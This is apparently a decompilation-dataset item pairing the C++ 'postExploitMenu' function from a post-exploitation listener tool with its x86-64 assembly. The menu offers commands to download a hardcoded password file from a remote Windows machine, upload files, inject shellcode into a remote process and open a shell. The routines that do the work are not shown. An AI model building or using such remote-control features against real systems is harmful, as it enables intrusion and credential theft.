// File: /workspace/github_cpp_makefile_star2_O3/JohnWoodman[P]SHellNo/menus.cpp
// Function: postExploitMenu(listener*)
void postExploitMenu(listener *newL) {
	printf("<---This is the Post Exploit Menu--->\n");

	string cmd;
	while(true){
		cout<<"ShellNo:Listener->";
		getline(cin,cmd);
		if(!cmd.compare("download")){
			printf("You Selected Download\n");
			newL->downloadFile("C:\\Users\\john\\Desktop\\password.txt", "pwd_download.txt");
		}
		if (!cmd.compare("upload")){
			printf("You Selected Upload\n");
			newL->uploadFile("upload.txt", "C:\\\\test\\\\upload.txt");
		}
		if(!cmd.compare("inject-shellcode")){
			printf("You Selected Shell\n");
			newL->injectShellcode("shellcode.bin");
		}
		if(!cmd.compare("shell")){
			printf("You selected drop into shell\n");
			newL->dropIntoShell();
		}
		if(!cmd.compare("exit")){
			printf("Exiting!\n");
			break;
		}
		if(!cmd.compare("help")) {
			printf("HELP MENU\n");
			printf("download <remote file> <local file>: download remote file to local file\n");
			printf("upload <local file> <remote file>: upload local file to remote location\n");
			printf("inject-shellcode <shellcode.bin>: inject given shellcode into remote process\n");
			printf("exit: exit listener menu (does not kill session)\n");
		}
	}
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $0xc8, %rsp
movq %rdi, %rbx
leaq 0x236e(%rip), %rdi      # 0x173d4
callq 0x55a0
leaq -0xd8(%rbp), %rax
movq %rax, -0x10(%rax)
movq $0x0, -0x8(%rax)
movb $0x0, (%rax)
movq 0x9f50(%rip), %r12      # 0x1efd8
leaq -0xe8(%rbp), %r13
leaq 0x10fe(%rip), %r14      # 0x16194
movl $0x12, %edx
movq 0x9f06(%rip), %rdi      # 0x1efa8
leaq 0x22a0(%rip), %rsi      # 0x17349
callq 0x5400
movq (%r12), %rax
movq -0x18(%rax), %rdi
addq %r12, %rdi
movl $0xa, %esi
callq 0x5350
movsbl %al, %edx
movq %r12, %rdi
movq %r13, %rsi
callq 0x5680
movq %r13, %rdi
leaq 0x2281(%rip), %rsi      # 0x1735c
callq 0x5100
testl %eax, %eax
jne 0x15188
leaq 0x230b(%rip), %rdi      # 0x173fa
callq 0x55a0
leaq -0x58(%rbp), %rax
movq %rax, -0x68(%rbp)
leaq -0x68(%rbp), %rdi
leaq 0x225e(%rip), %rsi      # 0x17365
leaq 0x2279(%rip), %rdx      # 0x17387
callq 0x14faa
leaq -0xb8(%rbp), %rax
movq %rax, -0xc8(%rbp)
leaq -0xc8(%rbp), %r15
movq %r15, %rdi
leaq 0x2256(%rip), %rsi      # 0x17388
leaq 0x225f(%rip), %rdx      # 0x17398
callq 0x14faa
movq %rbx, %rdi
leaq -0x68(%rbp), %rsi
movq %r15, %rdx
callq 0x143d0
movq -0xc8(%rbp), %rdi
leaq -0xb8(%rbp), %rax
cmpq %rax, %rdi
je 0x1516f
movq -0xb8(%rbp), %rsi
incq %rsi
callq 0x5370
movq -0x68(%rbp), %rdi
leaq -0x58(%rbp), %rax
cmpq %rax, %rdi
je 0x15188
movq -0x58(%rbp), %rsi
incq %rsi
callq 0x5370
movq %r13, %rdi
leaq 0x2207(%rip), %rsi      # 0x17399
callq 0x5100
testl %eax, %eax
jne 0x1523f
leaq 0x226a(%rip), %rdi      # 0x17410
callq 0x55a0
leaq -0x38(%rbp), %rax
movq %rax, -0x48(%rbp)
leaq -0x48(%rbp), %rdi
leaq 0x21ec(%rip), %rsi      # 0x173aa
leaq 0x21ef(%rip), %rdx      # 0x173b4
callq 0x14faa
leaq -0x98(%rbp), %rax
movq %rax, -0xa8(%rbp)
leaq -0xa8(%rbp), %r15
movq %r15, %rdi
leaq 0x21b7(%rip), %rsi      # 0x173a0
leaq 0x21c4(%rip), %rdx      # 0x173b4
callq 0x14faa
movq %rbx, %rdi
leaq -0x48(%rbp), %rsi
movq %r15, %rdx
callq 0x145f6
movq -0xa8(%rbp), %rdi
leaq -0x98(%rbp), %rax
cmpq %rax, %rdi
je 0x15226
movq -0x98(%rbp), %rsi
incq %rsi
callq 0x5370
movq -0x48(%rbp), %rdi
leaq -0x38(%rbp), %rax
cmpq %rax, %rdi
je 0x1523f
movq -0x38(%rbp), %rsi
incq %rsi
callq 0x5370
movq %r13, %rdi
leaq 0x216c(%rip), %rsi      # 0x173b5
callq 0x5100
testl %eax, %eax
jne 0x152ad
leaq 0x21cb(%rip), %rdi      # 0x17424
callq 0x55a0
leaq -0x78(%rbp), %rax
movq %rax, -0x88(%rbp)
leaq -0x88(%rbp), %r15
movq %r15, %rdi
leaq 0x214c(%rip), %rsi      # 0x173c6
leaq 0x2152(%rip), %rdx      # 0x173d3
callq 0x14faa
movq %rbx, %rdi
movq %r15, %rsi
callq 0x147e0
movq -0x88(%rbp), %rdi
leaq -0x78(%rbp), %rax
cmpq %rax, %rdi
je 0x152ad
movq -0x78(%rbp), %rsi
incq %rsi
callq 0x5370
movq %r13, %rdi
leaq 0x2197(%rip), %rsi      # 0x1744e
callq 0x5100
testl %eax, %eax
jne 0x152d4
leaq 0x2170(%rip), %rdi      # 0x17437
callq 0x55a0
movq %rbx, %rdi
callq 0x149fc
movq %r13, %rdi
movq %r14, %rsi
callq 0x5100
testl %eax, %eax
je 0x1533b
movq %r13, %rdi
leaq 0xeac(%rip), %rsi       # 0x16199
callq 0x5100
testl %eax, %eax
jne 0x15096
leaq 0x177c(%rip), %rdi      # 0x16a7d
callq 0x55a0
leaq 0x2150(%rip), %rdi      # 0x1745d
callq 0x55a0
leaq 0x218c(%rip), %rdi      # 0x174a5
callq 0x55a0
leaq 0x21c8(%rip), %rdi      # 0x174ed
callq 0x55a0
leaq 0x2209(%rip), %rdi      # 0x1753a
callq 0x55a0
jmp 0x15096
leaq 0x2112(%rip), %rdi      # 0x17454
callq 0x55a0
movq -0xe8(%rbp), %rdi
leaq -0xd8(%rbp), %rax
cmpq %rax, %rdi
je 0x15369
movq -0xd8(%rbp), %rsi
incq %rsi
callq 0x5370
addq $0xc8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
movq %rax, %rbx
jmp 0x153f2
jmp 0x15423
movq %rax, %rbx
movq -0x88(%rbp), %rdi
leaq -0x78(%rbp), %rax
cmpq %rax, %rdi
je 0x15426
movq -0x78(%rbp), %rsi
jmp 0x15419
jmp 0x15423
jmp 0x15423
movq %rax, %rbx
movq -0xc8(%rbp), %rdi
leaq -0xb8(%rbp), %rax
cmpq %rax, %rdi
je 0x15408
movq -0xb8(%rbp), %rsi
incq %rsi
callq 0x5370
jmp 0x15408
movq %rax, %rbx
movq -0xa8(%rbp), %rdi
leaq -0x98(%rbp), %rax
cmpq %rax, %rdi
je 0x153f2
movq -0x98(%rbp), %rsi
incq %rsi
callq 0x5370
movq -0x48(%rbp), %rdi
leaq -0x38(%rbp), %rax
cmpq %rax, %rdi
je 0x15426
movq -0x38(%rbp), %rsi
jmp 0x15419
movq %rax, %rbx
movq -0x68(%rbp), %rdi
leaq -0x58(%rbp), %rax
cmpq %rax, %rdi
je 0x15426
movq -0x58(%rbp), %rsi
incq %rsi
callq 0x5370
jmp 0x15426
movq %rax, %rbx
movq -0xe8(%rbp), %rdi
leaq -0xd8(%rbp), %rax
cmpq %rax, %rdi
je 0x15448
movq -0xd8(%rbp), %rsi
incq %rsi
callq 0x5370
movq %rbx, %rdi
callq 0x5630